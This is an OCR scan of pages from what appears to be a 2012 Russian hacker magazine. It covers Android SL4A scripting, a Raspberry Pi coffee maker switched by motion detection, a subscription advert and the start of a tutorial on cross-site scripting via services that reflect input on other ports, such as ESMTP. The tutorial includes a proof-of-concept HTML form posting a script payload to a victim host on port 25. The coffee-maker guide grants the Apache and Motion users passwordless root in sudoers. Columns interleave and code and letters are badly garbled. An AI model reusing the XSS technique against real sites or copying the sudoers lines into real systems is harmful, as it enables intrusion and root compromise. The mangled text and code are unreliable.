# Прои г ры ваем указанный файл ке Маркета 4�Locale
droid. mediaPlay( ' / sdcard/music/track. mрЗ' ) plugin�•.
# отправляем ответ об успешном выполнении SL,A-не един­

# Первым параметром является номер абонента, ственный скриn­
# вто рым - текст сообщения товый движ:ок дnя
Androld. Рекомен­
droid . smsSeпd(last . address, "Commaпd complete" ) дую также обратить
внимание на Klvy
Можно зациклить зт� проверку, но гораздо эффективнее полу­ (kjyyorg/docs/gШU/
� 1.
чится, если связать выполнение этого скрипта с событием Taskeг
«Получено текст. сообщ.» из раздела <<Телефон>>. •Е сnи ты пиwеwь
скрипты на
Рассмотрим более полезный скри пт. Знаю, что у многих lв компьютере, то
том числе у меня! есть проблема с отображением кириллических тебе не обязатель­
символов в ЮЗ-тегах МРЗ-файлов. Удобного решения этой про­ но каждый раз
копировать скрипт
блемы я так и не нашел, позтому и написал скрипт. Для его работы на устройстао. Есть
Скрмнwот 5: запуск SLJ.A-cкpмnтoa
мне потребовалась сторонняя библиотека Staggeг lgoogi/WBJ051. средства удаnенноrо
еыпоnнения: gu.
Кстати, из SL4A можно использовать любые сторонние рuге Pythoп
gllJifbl>.
библиотеки, просто копируя их в каталог com.googlecode.python.
pyth on3f oгan d гoid/ex t гas/ python3 на карте памяти. Полный код • Профиnи, соJдан­

ные е Tasker, можно


скриnта с подробными комментариями можно найти на nрилагае­ упаковывать в АРК­
мом к журналу диске, здесь же ограничусь только кодом, который nакеты с помощью
перебирает МРЗ-файлы на карте nамяти: Tasker Арр Factory:
�. Анаnо­
rмчное реwенме дпя
# Перебираем все МРЗ -файлы на карте SL,A: goog!/R7МJy,
for (dirName, dirs, files) in o s . wa l k ( r ' / sdcard' ) :
• Есnи функции
for fileпame iп files: SL'A 8038p1ЩIIOT
try : абракадабру, nо­
nробуй nроделать со
if fileпame.eпdswith( ' .mрЗ' ) : строкой такой трюк:
pathпame = os . path . j oin(dirName, filename) .encodel'cp1251' 1.
decodel'utf8'1.

-
# Ну а дальше идет работа с тегами ...

Этот скриnт можно запускать вручную, когда потребуется,


но я nривязал выnолнение этого скрипта к событию <<Кар. памяти •Официальная стра­
доступн а•• из раздела <<Апnаратура>> Taskeг. ница проекта SLI.A:
�·
• интересные приме-

В З АИ МОДЕ Й СТВИЕ С П ОЛЬЗОВАТЕЛЕ М ры nрофиnеМ Tasker:


SL4A предоставляет нам разные сnособы взаимодействия с g�
• тема о Tasker
пользователем: weЬViews IHTML5 + J av aScгiptl, fuiiScгeeпAPI Iпoд­ на 'pda.ru: �Jl
poбнee можно почитать в моей статье: goo.gi/OCQdwl и dialogAPI, !1111\'Q(,

-
который мы вкратце и рассмотрим. Возьмем скриnт отnравки вы­
бранных nользователем фото к на FТР-сервер. Полный код примера
есть на диске, а здесь только часть, касающаяся dialogAPI. На диске nежат поn­
ные исходные коды
# Исnользуем модуль glob для извлечения сnиска скрмnтоо, Руthоn­
бмблиотека Stagger
# изображений в filesNames и файn с рассмотрен­
ными nрофиnямм
Скрмнwот 6: результат работы HelloWorld.py Tasker.
# Создаем диалог J указывая е г о за головок и текст
droid . dialogCreateAlert( " Bыбop файлов" , "Выберите \
файлы для отnравки" ) # Получаем индек сы выбранных флажков
# Следующей строкой добавляем к диалогу флажки res = droid. dialogGetSelecteditems( ) . resul t
droid. dialogSetMultiChoiceltems(filesNames)
# д здесь добавляем кноnки # Используя ftplib, отnравляем файлы на сервер
droid . dialogSetPosi tiveButtonText ( "ОК" )

QШIJtф!§ll!il
droid . dialogSetNegativeButtonText( "Oтмeнa" )
# И наконецJ показываем диалог
droid. dialogShow ( ) Благодаря Taskeг и SL4A возможности автоматизировать nользо­
вательские действия на Android становятся nросто безграничны­
# Проверяем, какая кноnка была нажата (positive, negative ми. Сам же SL4A предоставляет мощный потенциал для скриптинга
# или neutral ) Andгoid. Доnолнительную информацию ищи no ссылкам, приведеи­
if droid .dialogGetResponse( ) . result [ 'which' ) = = \ н ы м в боковых выносах, или же жди от меня новых, более специ­
.· "positive" : ализированных статей. ::1:

ХАКЕР 1 1 /166/2012 061


PHREAKING Alexander Lykoshin !alykosh infдgmail.com, ligne .rul

Кофе
с маnинои
ДЕЛАЕМ И НТЕРН ЕТ­
КО Ф ЕВАРКУ С RASPBERRY Pl
Появ и вш ий ся в 1998 году шуточны й ги п ертекстовы й протокол
управл ения кофеварко й НТСРСР/ 1 . 0 н ы н е неза сл уженно
за быт. Ч то бы ожив ить идеи, заложен ные в него создателя м и ,
реализуем кофеварку с управ л ением от Rа sрЬеггу Pi.

CJ ноги е любители кофе мечтают о том, чтобы к моменту их


пробуждения уже был готов горячий кофе. Если в 1998-м
nодключать через U5В-хаб с доnолнительным nитанием. В более
поздних ревизиях эта nроблема была исnравлена, однако из-за
управление кофеваркой через веб действительно выгля­ того, что мощность источника питания невелика, USB-xaб все
дело забавным, то в наше время зто вполне можно сделать своими равно может nонадобиться.
руками. С такой же игрушкой, как RPi, зто будет вдвойне интерес­ На двух мониторах, которые я оnробовал, nри настройках
нее. На ее фоне пылящийся в коробке Ардуино М е га 2560 кажется по умолчанию была черная кайма по краям экрана. Это корректи­
случайно попавшим в будущее из мира В-разрядных процессаров руется настройками режима oveгscan, в моем случае это решилось
80-90-х годов раритетом, к которому зачем-то прикрутили Wi-Fi, его выключением в конфигурационном меню.
шилды и сенсоры.
Но вернемся на кухню з а кофе. Кофеварку включаем с помощью ОПЕРА ЦИО Н Н АЯ С ИСТЕМ А
реле, реле управляем с RPi, доступ к RPi из браузера по Wi-Fi. Основной оnерационной системой на данный момент является
Проснувшись, прямо из кровати с помощью браузера в телефоне. RaspЬiaп, основанная на OeЬian, с поддержкой аnnаратного сопро­
И смотрим, как он заваривается, через веб-камеру. Либо детекти­ цессора для оnераций с nлавающей запятой. На странице загрузки
руем движение, и кофе начинает завариваться в тот моме нт, когда Ьit.ly/PhB13h можно загрузить не только ее [нужна RaspЬian
мы заходим на кухню или включаем свет. Настоящий гик сможет <<wheezy»J, но и несколько других, также основанных на Linux,
включить кофеварку из постели через 55 Н, настоящий лентяй ­ вместе с необходимыми утилитами.
просто зайдя на кухню, простой же пользователь вроде меня ­ Образ карты нужно скачать на диск, разархивировать, за-
через браузер. тем, если все делается nод Windows, залить с nомощью утилиты
Win320isklmageг [ссылка есть на странице загрузки!, на 50-карту,
ВЫБОР КОФЕ ВАРКИ размер которой должен быть от 2 Гб. Далеко не любая 50-карта
От кофеварки требуется немного. Тип - капельный: и цена заработает- есть сnисок совместимых карт и другого оборудова­
значительно меньше, и кофе, на мой вкус, мягче, чем в зспрессо. ния [Ьit.ly/R2M m96l. но даже исnользование карт из этого сnиска
И главное - минимум электроники. Все управление должно со­ не гаранти рует, что конкретная карта не является nодделкой. Если
стоять из одного механического выключателя, чтобы можно было RPi не грузится из образа, только что залитого на ка рту, первое,
включить кофевар ку, просто подав на нее электропитание. Дома что стоит nоnробовать, - сменить карту 50.
кофеварка большого объема ни к чему, большая мощность тоже После установки 50-карты в RPi, включения и загрузки
н е нужна: ниже то к - меньше требования к управляющим компо­ [имя nользователя по умолчанию pi, nа роль- гаsрЬеггуl вы водит­
нентам. Хотя в кофеварках такого типа полностью автоматизиро­ ся начальное конфигурационное меню, в котором нужно обяза­
вать процесс приготовления невозможно и нужно будет каждый тельно расширить файловую систему с 2 Гб образа на всю 50-карту
вечер заправлять ее водой и молотым кофе. и разрешить 55 Н. Кроме того, стоит задать раскладку клавиатуры,
Выбор кофеварок небольшага объема и мощности невелик, языки, временную зону и сменить nараль по умолчанию.
чуть ли не все предложения - объемом больше литра, но почти С оверкnокингом лучше эксnериментировать отдельно, сразу
сразу мне nриглянулась Moulinex ВСА 1 . L1 Little 5olea. Мощность nосле его изменения nроверяя стабильность RPi. Но nоnро­
640 Вт, кофейник 0,6 л. бовать его стоит, так как увеличение скорости работы заметно
визуально. В конфигурационное меню всегда можно вернуться
С КРУ ЧИ ВАЕМ В С Е ВМЕСТЕ командой:
В nервой ревизии nлат RPi стоят неудачные nредохранители
[рис. 21, из-за которых nочти всю U5В-nериферию nриходится $ sudo raspi- conng

062 ХАКЕР 1 1 /166/2012


Кофе с малиной

upead_�f8 l8p8Dd nек pan.1.c1oa. ut fUl SD oard


098r808D СЬ81108 O'NЖ'IКIUt
-'i98n Ь,ЬОUО ..� D)lllou'd lavo-
�_.u. С::МОV. puwol'd fo� •ра• uеж
cЬ8D98_1ooale S.c 100&18
--.._с�� � u.еаом
_ry_8p11C С::Ь..,.. -.q 8Р11С
nw:rcloct COВI1QU.n 0Ye%'Cl0c:ki.OI
uь � o:r IIUeЬle ..ь мnu:
мое_� ICUC ••nc:. Cl8 llocКI
....с. try to app8d8 П8р1--'14

Рис. 1. Конфигурационное меню raspl·config Рис. 2. Подключение к портам GPIO. Покаэаны nредохранители, убранные
в последующих вариантах nлат

После завершения начальной настройки перезагрузиться: с я со списком оборудования, совместимого с RPI I Ьit .ly/OvWQBHI.
некоторым может потребоваться USB-xaб с дополнительным
$ sudo reboot питанием. Кроме того, стоит проверить совместимость с Motioп )Jlli,
ly/SMXbkb) по ссылкам <<Woгkiпg Devices>> и <<Nоп Woгkiпg Devices>>.
Следующим шагом стоит обновить пакеты - разработка под RPi Если камеры нет в списке <<Woгkiпg Devices», это еще не значит, что
идет очень активно, и крупные обновления выходят очень часто. она не заработает, но из второго списка камеру покупать точно не
стоит.
$ sudo apt-get update
$ sudo apt-get upgrade $ lsusb
<• • >
НАСТРО Й КА ETHERNET И W I - FI Bus 001 Device 007 : ID 046d :0826 Logitech, Inc .
Имевшаяся у меня Wi-Fi-кapтa D-Liпk DWA-140 В2 значилась в
списке совместимого оборудования b 1t.ly/SVSJtY. Подключил, про­ Проверить камеру можно, попробовав сделать скриншот с
верил, что успешно определилась: камеры:

$ lsusb $ sudo apt-get install uvccapture


<..> $ uvccapture -580 -880 -С80 -GB0 -х800 -уб00
Bus 001 Device 006 : ID 07d1:Зс0а D-Liпk System DWA-140
RangeBooster N Adapter(rev . B2} [Ralink RT3072] В текущем каталоге должен появиться файл sпap.jpg )даже
если были сообщения об ошибках). кото рый можно открыть на RPi
$ iwconfig с помощью lmage Vieweг.
lo no wireless extension s . Motioп - приложение для мониторинга сигнала с камеры, по­
eth0 n o wireless extensions. зволяющее установить. что значительная часть изображения изме­
wlan0 I E E E 802 . 11bgn ESSID : off/any нилась )то есть определить движение в кадре). и в этом случае со­
Mode : Managed Access Point: Not-Associated хранять изображения и запускать внешние программы. Домашняя
Tx-Power=20 dBm страница проекта: btt ly/SMXbkb.
Retry long limit : 7 RTS thr : off Fragment
thr: off sudo apt-get install motion
Power Management : on
Чтобы разрешить запуск Motioп в качестве сервиса, но запре­
Wi-Fi можно настроить в соответствии с документацией )btt ly/Sпetnf). тить автозапуск при загрузке:

I:§:М,fД!i
Старт сервера SSH разрешается в меню начальной конфигура­
$
$
sudo
sudo
mv /etc/rc2. d/S03motion /etc/rc 2 . d/K0Зmotion
mv /etc/r c 3 . d/S0Зmotion /etc/rcЗ . d/K0Зmotion
ции. Для доступа с Wiпdоws-машины можно использовать Putty, $ sudo mv /etc/rc4. d/S0Зmotion /etc/rc4. d/K0Зmotion
с телефона под Андроид - lгssi СоппесtВоt. Но тут уже на вкус и $ sudo mv /etc/rcS. d/S0Зmotion /etc/rcS . d/K03motion
цвет... $ sudo nano /etc/default/motion
Если н едостаточно SSH и нужен доступ к рабочему столу RPi
)например. просмотреть снимки, сделанные Motioп, не копируя # set to 'yes' to enable the motion daemon
их н а локальную маши ну), можно получить его через vпcvieweг из start_mot ion_daemon=yes
TightVNC, а для доступа с Андроида - с помощью aпdгoidVNC. Для
этого нужно установить VNC, используя рекомендации bit.)v/P2xift Разрешить достуn к веб-интерфейсу Motioп с внешних хостов:
и btt .ly/UzXRpl.
$ sudo nano /etc/motion/motion. conf
ВЕБ-КАМ ЕРА И MOTION
В качестве веб-камеры в моем варианте используется Logitech НО webcam_localhost off
Webcam С525. При приобретении новой веб-камеры стоит свер ить- control_localhost off

ХАКЕР 11 /166/ 2012 063


PHREAKING

В этом же файле хранятся настройки детектирования движе­


Модель и ревизия ! Коды -
ния. начала и завершения записи с камеры и запуска внешней
Hyper Тех\ Coffee
программы при обнаружении движения. Model В Revision 1.0 Pot Control Proto·
Model В Revision 1 .0 + ECN0001 coi (HTCPCP/1.0):
$ sudo nano /etc/motion/motion. con.f 3 bjЦv/RaSOcg.

# Command. to Ре e.xe.!:. ute.d JoiD.en..<!. 1119'tion. frame _is detected


lno fuses, 014 гemoved)
Model В Revisioп 2.0 4, 5, 6
# (default : поnе)
Коды модепей Raspberry Pi
on_event_start sudo /home/piLmotion-det

/home/pi/motion-det - сценарий, который будет выnолняться при ПОРТЫ GPIO - ОСОБЕННОСТ И И УПРАВЛ ЕН И Е
детектировании движения. Ему понадобятся права гооt для управ­ У RPi есть встроенные порты ввода-вывода. Назы ваются о н и
ления портами. GPIO, Geneгal Purpose l n put/Output, то е с т ь п о р т ы ввода-вы вода
Добавить пользоват,еля Motion [motion) в список sudoeгs: общего назначения. Строго говоря. подключить исполнительное
устройство можно без особых проблем и к простому ПК, но не
$ sudo visudo держать же П К на кухне? Тем и хороша недорогая и миниатюрная
RPi - ее спокойно можно разместить рядом с исполнительным
дописав следующую строку в конце файла: устройством.
GPIO-nopты работают на уровнях 3,3 В. При зтом на плате RPi не
motioп ALL=(ALL) NOPASSWD : ALL предусмотрено защиты портов. и случайное замыкание 5 В на них
может оказаться смертельным.
Запуск с выводом информации в консоль: Максимальный выходной ток, который может держать от­
дельно взятый порт. - 1 6 мд. Это значение задается программ но.
$ sudo motioп - n в диапазоне от 2 до 16 м д, после сброса о н о составляет 8 м д.
Однако источник питания 3,3 В спроектирован из расчета. что
Когда Motion запущен, настройки можно изменить из браузера максимальный ток по каждому порту [предполагая. что к ним
по адресу: //<raspberrypi>:8080. Вместо <гаsрЬеггурi> нужно под­ подключена максимальная нагрузка) не превышает 2 мд. То есть
ставить фактический IР-адрес RPi. Увидеть изображение с камеры если ко всем портам подключить нагрузку в 16 мд, ее не в ы ­
можно по адресу //<raspberrypi>:8081. В Fiгefox обновление держит источник 3,3 В . Более подробно о допустимом токе можно
изображения может происходить некорректно. В Chгome все ОК. прочитать здесь: bjt.ly/Op4PM k, а пример на С, как им можно
Предустан овленные на RPi браузеры вообще не могут его ото­ уnравлять, - здесь: b it.ly/StAFal . Распайка портов и примеры до­
бразить. ступа к ним из различных языков программирования приведены
Для настройки определения движения предусмотрен конфигу­ здесь: bit.ly/StAJXA.
рационный режим Есть две основных версии плат, Revision 1 и 2, в них немного
различается распайка и назначение портов. Чтобы определить.
$ sudo motion -s какая версия. нужно ввести команду cat /pгoc/cpuinfo и найти
hardwaгe гevision code в таблице выше. Дополнительная информа­
В этом режиме при просмотре изображения с камеры будет ция о различиях Revision 1 и 2 есть здесь: bjt ly!ONHKDF.
показано различными цветами непосредственно детектирование Питание +5 В и 3,3 В. земля IGND) и порт GPIO 4. который мы
движения. и можно будет скорректировать параметры детектиро­ будем дальше использовать. в обеих версиях размещаются на тех
вания на странице настроек. же контактах. Разработчики RPi неоднократно отмечают опас­
Изображения с камеры сохраняются в каталоге /tmp/motion, ность сжечь порт или всю RPi при неправильном подключении
формат отдельных изображений по умолчанию JPG. роликов ­ порта. Чтобы зто го не произошло, порт рекомендуется защитить
SWF. Формат можно изменить в конфигурационном файле. д от­ от ошибочных действий. Схемы защиты портов [а кроме того,
ключить сохранение файлов можно так: примеры подключения различной периферии) можно посмотреть
здесь: Ьit .ly/QAeNOg.
output_пormal off
ffmpeg_cap_new off ДОСТУП К П ОРТАМ
Самый простой способ управления портом - из командной строки.
Состояние порта при этом можно проконтролировать вольтметром.
г - - - - - - -,
Все действия делают под рутам.
RPI
1 1
1 1 $ sudo -i
1
•58

Начало работы с портом:

$ e_c ho "4" > /sys/class/gpio/ export

Режим работы - вывод:

$ echo ··out'' > /sys/class/gpio/gpio4/direction

Вывод значений:

t., _______J $ echo ·т· > /sys/class/gpio/gpio4/Value

Рис. Э. Прмнцмпмаnьная схема модуnя подкточенмя репе $ echo "0" > /sys/class/gpio/gpio4/value

ХАКЕР 1 1 /166/2012
Кофе с малиной

echo -ne 'Switching GPIO '$PORT_NUM' from '$0LD_VALUE_ТEXT' 1


to '$2' . . . '
echo $NEW_VALUE > /sys/class/gpio/gpio$PORT_NUM/value
echo ' done.'

Права на исполнение:

$ chmod +х switch_gpio

И проверим:

$ switch_gpio 4 on
$ switch_gpio 4 off

iШJ•W•I#JQiЩI
Подключение реле реализовано по схеме из этой статьи: Ьi.t.bl
!S.lМ.Ь..L.. В нормальном положении, когда на выходе порта GPIO
логический ноль и нулевой потенциал, транзистор закрыт и на­
пряжение на нагрузку не подается. Если на GPIO подать логиче­
скую единицу. 3,3 В через резистор откроют транзистор, череэ
Рис. 1.. Первый вариант модуля pene на контактной макетной nлате него потечет ток и реле сработает. Диод предназначен для снятия
отрицательных бросков при отключении реле.
Режим работ ы - ввод: Задействованы другое реле lno нему чуть позже! и транзистор с
диодом - те, которые оказались под рукой, близкие по характери­
$ echo "in" > /sys/clas s/gpio/gpio4/direction стикам. Резистор R1 11 кОм!. диод типа КД522 11N41481. транзистор
Считать значение на входе порта: Н547. В статье есть рекомендации, как выбрать аналоги. Дополни­
тельно стоит проверить выходной ток порта при включенном реле.
$ cat /sys/clas s/gpio/gpio4/value Подключаемая к схеме нагрузка составляет 640 Вт. Это знач ит,
что при напряжении в 220 В ток составит 640 Вт / 1220/1,411 В = 4,1 А.
Завершить работу с портом: Еще одно требование к реле - чтобы замыкались и размыкались
сраэу два провода и нагрузка полностью обесточивалась. Один из
$ echo "4" > /sys/class/gpio/unexport вариантов, подходящий под такие требования, - реле TRIL-5VDC­
SD-2CM-R, уnравляемое от 5 В и способное коммутировать до 8 А
Подготовим скрипт для управления заданным портом, который переменнога тока 250 В.
будем использовать позже: Начать монтаж можно на контактной макетной плате. Конечно,
для серьезных задач она не nодходит, но такие вот небольшие
$ sudo nano switch_gpio схемы на ней можно быстро собрать и отладить. Сначала запитыеа­
е м от отдельного источника +5 В, все проверя ем без подключения
Текст: к RPi, заменив подключение к порту резистором и кнопкой к +5 В,
промеряем все токи и ставим разъем для подключения к основной
#! /Ьin/bash плате RPi. Подключать 220 В к такой плате категорически нельзя,
PORT_NUM=$1 позтому все равно придется брать паяльник в руки и переносить
if [ $2. == 'on . ' ] ; then это на печатную плату.
NEW_VALUE=1 Для подключения к основной плате RPi можно собрать шлейф из
else nары разъемов и плоского кабеля. подключить к нему промежуточ­
if [ $2. == 'off .' ] ; then ную плату, на которой уже разводятся нужные порты и питание на
NEW_VALUE=8 шлейфы к периферийным устройствам, пока всего на один. уже не
else 26-, а 4-п роводной шлейф. Он подключается к монтажной плате, н а
echo 'Usage: $8 PORT_NUM оп 1 off' которой собирается в точности то же, что и в первом варианте, добав­
exit лением клеммниковдля 220 В. Клеммники распаиваем на реле про­
fi водом сечением 0,75. аккуратно проверяем тестером работоспособ­
fi ность схемы, пощелкав реле. Дополнительно можно развести землю.
Затем подключаем провода к клеммам, также сечением 0,75, на одной
# Настраиваем порт GPIO на вывод из которых ставится вилка, на другой - розетка на про вод.
if [ ! ·е /sys/class/gpio/gpio$PORT_NUM Дальше осторожно и аккуратно: 220 В частотой 50 Гц - на­
then echo $PORT_NUM > /sys/class/gpio/export пряжение, при неаккуратной работе с которым последствия могут
fi быть намного трагичнее, чем сгоревшая RPi. Визуально проверяем
пай к у на плате реле, проверяем надежность закрепления правадов
# Читаем старое состояние 220 В в клеммниках. Фикси руем плату, а лучше устанавливаем ее
OLD_VALUE=$(cat /sys/class/gpio/gpio$PORT_NUM/value) в закрытый корnус. чтобы случайно не эадеть открытые контакты
if ( $0LD_VALUE == 1 ); theп под напряжением. Не торопимся и последовательно на каждом
OLD_VALUE_ТЕХТ='on' шагу проверяем тестером. Отключаем плату реле от основной
else nлаты RPi. втыкаем вилку в 220. Дыма нет. Отключаем от сети, под­
OL.D_VALUE_ТEXT='off' ключаем основную плату RPi, опять включаем в 220. Дыма опять
fi нет, RPi жива. Щелкаем реле, видим 220 на розетке. Отключаем
реле и 220, подключаем к розетке настольную ламnу, подаем 220,
echo "out" > /sys/class/gpio/gpio$PORT_NUM/direction щелкаем реле. Ура!

ХАКЕР 11 /166/2012 065


PHREAKING

Переводим дух и, установив плату реле в корпус на постоянной


основе, пробуем уже в окончательном варианте, с кофеваркой в
качестве нагрузки.

УПРАВЛ Е НИ Е П О РТА М И С П О М О ЩЬЮ WEBIOPI


Самый простой способ достучаться до портов GPIO через веб ­
установить WeЬIOPi. Это приложение, позволяющее визуально
задавать направление работы порта lввод/выводl. видеть его
состояние при вводе и задавать значение на в ыводе. Уста новка
подробно описана здесь: b1t.lvLU YEгPг.

$ sudo apt-get install apache2 phpS

Для работы WеЬIОР�использует модуль гewгite и переопределе­


ние конфигурации l.htaccessl:

$ sudo a2enmod rewrite


$ sudo nano /etc/apache2/sites-enaЫed/000-default

В разделе <Оiгесtогу /vaг/www/> изменить строку


Рмс. S. ВтороМ вариантмодуn11 pene, расnаянны14 на nечатноМ макетной nnaтe
<<AIIowOveггide Nопе» на «AIIowOveггide All»: с nромежуточноМ коммутационной nnaтoM

<Directory /var/www/>
Options Indexes Fol lowSymL inks MultiViews Создадим скриnт, который будет заnускаться из Motion:
Allowaverride All
Order allow,deny $ nano /home/pi/motion_det
allow from all
</Directory> Текст:

Добавить пользователя Apache lwww-datal в список sudoeгs: # ! /Ыn/bash

$ sudo visudo /home/pi/switch_gpio 4 on


service motion stop
дописав следующую строку в конце файла: sleep 1800
/home/pi/switch_gpio 4 off
www-data ALL=(ALL) NOPASSWD : ALL
Права на исполнение:
Рестартовать Apache:
chmod +х /home/pi/motion_det
$ sudo /etc/init. d/apache2 restart
Теnерь в восемь утра будет запущен Motioп, который начнет детек­
Загрузка и разархивация WeЬIOPi: тировать движение. Когда движение будет обнаружено, запустится
с криnт motion_det, который выдаст логическую единицу на порт
$ wget //weЫopi. googlecode. com/files/WeЫOP i -e . З . tar.gz GPIO 4, nодав наnряжение на реле и включив кофеварку, остано­
$ tar xvzf WeЫOPi -e . з . ta r . gz вит Motioп, подождет 30 минут и выдаст на тот же nорт логический
ноль, отключив на грузку.

if4@Щ•Qiili!ШI
Переместить файлы в соответствующий каталог:

$ sudo mv weЫopi /var/www Большая часть комnонентов приобретена в «Чип и дип>> !включая
корпуса, кабельные вводы, nлаты, переходник и так далееl. Это
Основной интерфейс достуnен no адресу: //localhost/weЬiopi. магазин с хорошим выбором, в который можно зайти, nосмотреть
Если открывать страницу непосредственно с RPi, то нужно это и nотрогать, но недешевый, есть ощутимо бюджетнее. Те, кто
делать в Chгomium или Midoгi, ни в NetSuгf, ни в Oillo она не рабо­ не хочет долго ждать доставки RPi, уже могут ее приобрести, на­
тает иэ-эа отсутствия в них поддержки JavaScгipt. пример в «Терраэлектронике», хотя и совсем не за 25 долларов.
Чтобы не помешала темнота зимними утрам и , вместо камеры
СВЯЗЫВАЕМ ВСЕ В М ЕСТЕ !или в доnолнение к нейl можно подключить ИК датчик движения.
Дпя управпения портом из брауэера через веб вnолне достаточно Можно разобраться в кофеварке эсnрессо с автоматическим nри­
веб-интерфейса WeЬIOPi, при желании его можно настроить под свои готовленнем и не задумываться вечером о том, что нужно засыпать
нужды. Для включения реле при детектировании движения добавим кофе на следующее утро. Можно подключить реле через ZygBee,
старт Motion в заданное время утром, наnример в 8:00, в /еtс/сгопtаЬ: добавить других исnолнительных устройств, наnример светильник
в сnальне. Можно реализовать управление через SMS, подключив
е 8 • • •
echo $(date)': '$(service motion start) » \ ЗG-модем, либо с обычного телефона через OTMF, nодняв Asteгisk
/var/log/motion_start . log или Fгee s wit c h . д можно наnисать приложение для Андроида
и iPhoпe/iPad.
Заставим С гоn nеречитать его: Вариантов очень много, и с появлением RPi возможности эксnе­
риментировать на границе между программированием и физиче­
crontab /etc/crontab ским миром резко расширились. :Х:

066 ХАКЕР 11 /166/2012


166 ру6яей �НЕР
........
за номер!
Нас часто спраwивают: ��в чем преимущество подnиски?��
ПОДПИСКА
6 месяцев 1 1 1 0 р.
Во-первых, это выгодно. Потерявшие совесть распространители не

12 месяцев 1999р.
стесняются продаватьжурнал за 300 рублей и выше. Во-вторых, это
удобно. Не надо искатьжурнал в nродаже и бояться проморгать момент,
когда весь тиражуже разберут. В-третьих, это шанс выиграть одну из 20
лицензий на новую версию KIS!

В обновленном Kaspeгsky lnteгnet


Secuгity nрименены несколько совер­
шенно новыхтехнологий для борьбы
с распространенными и сложными
угрозами, нацеленными на личныедан­
ные и банковские счета пользователя.
Важнейшие из них-уникальныетех­
нологии <<Автоматическая защита от­
эксплойтов» и «Безопасные платежи>>.
Первые 20 читателей, оформившие
годовую подписку в период с 26 октября­
по10 ноября, получатв подарок годовую
лицензию на KIS на два компьютера.
Получитьприз можно будетпо электрон­
ной почте. Оформить подпискуможно
за пару минут на сайте http://s h op.glc .г u.

http://shop.glc. ru VISA 8 [8001 200-3-999 [бе с п ла тн о]


subscгibefaglc.ru
ВЗЛ ОМ / EASY НАСК Алексей «GreenDog•• Тюри н, Oigltal Security (twitter.com/antyurin)

c•.j.t;I:Ji:tn
Вся информация
предоставлена
исключительно
в ознакомительных
целях.
Ни редакция,
ни автор не несут
ответственности
эа любой возможный
вред, nричиненныМ
материалами данной
статьи.

ПОЛУЧИТЫSS НА САЙТЕ ЧЕРЕЗ СТОРОННИЙ СЕРВИС


Ш•r.
А 1i!r.:Тi
РЕШЕНИЕ понятное дело, отправит свой запрос и пучок приложенных
Давайте представим, что у нас есть некое веб-приложение. Его к нему заголовков. А ESMTP в свою очередь воспримет эти
кодили правильные кодеры и не допустили ошибок, которые данные как поток команд. Но так как введенные команды не су­
дали б ы нам возможность заэксплуатировать какую-нибудь ществуют, он по каждой будет выводить сообщения об ошибке.
уязвимость и получить XSS ... На самом деле таких приложений Опять-таки браузер будет получать эти сообщения, как будто
масса - тот же WoгdPгess например. Без плагинов лишних и/ он работает с веб-сервером, и обрабатывать их соответствую­
или без глубоких копаний по исходничкам здесь можно только ще. Думаю, теперь все стало вполне ясно. Если мы заставим
руками развести. браузер пользователя отправить на такой сервис специально
Конечно, есть еще важная вещь - внедрение приложения, сформированный НТТР-запрос, т о сервис его отзеркалит, а веб­
настройка его. Реально, куча багов из практики рождались браузер выполнит (так как воспримет ответ от сервиса как ответ
именно из-за некорректностей внедрения. Ну а если и здесь все от веб-сервераl. Специально сформированный запрос должен
ОК? Тяжко. Но и тут у нас есть пара козырей в рукаве. Особенно п р едставлять собой строку типа <«scгipt>aleгt('xss');</scгipt»>.
если покопаться в стандартах и подключить воображение. И опа - мы имеем XSS. Все достаточно просто :).
Михал Залевекий (Michal Zalewskil в своей книге The Taпgled
Web: А Guide to Secuгiпg Моdегп Web написал об интересном
трюке. По правде сказать, такая идея посещала не его одного.
Например, Владимир Воронцов на ZeгoNights 2 0 1 1 еще до вы­
хода книги поведал о том же. За что ему спасибо :1.
Суть же трюка заключается в том. что некоторые сервисы
возвращают п риходящие к ним данные. То есть то, что пришло
на какой-то п орт, по разным причинам возвращается обратно.
И мы этим можем воспользоваться для проведения ХSS-атаки.
С примерам будет понятнее. Возьмем ESMTP. Когда проис­
ходит подключение к этому серверу, он ждет входящей команды
от пользователя !см. прошл ы й номер ][ J. А при вводе некоррект­
ной команды сервер возвращает ошибку в стиле << Commaпd
u nгecognized: "имя введенной команды">>. и вот последнее,
то есть возврат отправленной команды, - самый важный
момент. А что произойдет, если мы попытаемся подключиться
с помощью браузера на данный п орт, на порт с ESMTP? Браузер, Сервис возвращает nереданные ему команды - nервый war к XSS

068 ХАКЕР 11 /166/ 2012


Хакерекие секреты nростых вещей

Но только с точки зрения теории. На nрактике есть несколь­ метации клиента. К тому же она nроста и nоказательна с точки
ко круnных nроблем. Во-nервых, как nонятно, для эксnлуатации зрения нестандартности решения.
XSS нам nотребуется, чтобы на том же домене с сайтом был Но хватит теории. Оnишу еще одну практическую тонкость.
сервер, который б ы возвращал отnравляемые ему значения. Как мы можем nодкинуть свой JS в ответ? Ведь есть проблема.
К сожалению, серверов таких немного. Н о встречаются, и это н е Данные, которые мы nередаем в заnросах из браузера, должны
стоит забы вать. Во-вторых, когда веб-браузер nолучает ответ быть URL-енкодены. То есть < и > отnравятся н а сервер в виде
от сервера, о н фактически не может nравильно его разобрать, <<%3с» и <<%3е>>. А это не годится. Чтобы этого избежать, сделаем
nотому что у ответа не будет тиnичной для веб-сервера груnnы формочку с указанием тиnа <<plain/text>> или <<multipaгt/foгm­
заголовков. Точнее, nоведение будет сильно зависеть от версии d a ta ».
браузера. Chгome с качает ответ как файл и к, Fiгefox в ы ведет от­
вет как текст (то есть не восnринимая НТМ L-тегов), а IE в ыведет <html>
ответ как HTML (обрабатывая все теги). Таким образом, основ­ <head>
н а я цель - IE. Н о оnисанное nоведение - результат обработки <meta http-equiv="Content-Type" content="text/html;
nростейших заnросов. Д. так как мы можем контролировать то, charset=utf-8" >
что нам отразится, стоит обратить внимание, что nоведение <title>Port reflection XSS trick</title>
браузеров nри некорректных ответах более глубокое и широ­ </head>
кое, и nри некоторых махинациях мы можем заставить и другие <body>
браузеры обрабатывать входящий nоток данных как HTML. <form action="http : / /victom. com: 25/ "
Н о это тема отдельной задачи, по которой выnущено несколько enctype="multipart/form-data" method= "post" >
достаточно больших докладов (nостараюсь раскрыть в следую­ <р>
щем номере). <input name="xss" value=" <script>alert ( l ) ; </script>">
В качестве же третьего ограничения нужно отметить, что </input>
во многих современных браузерах введено ограничение на то, </р>
к какому nорту можно обратиться (nоэтому, к сожалению, стан­ </form>
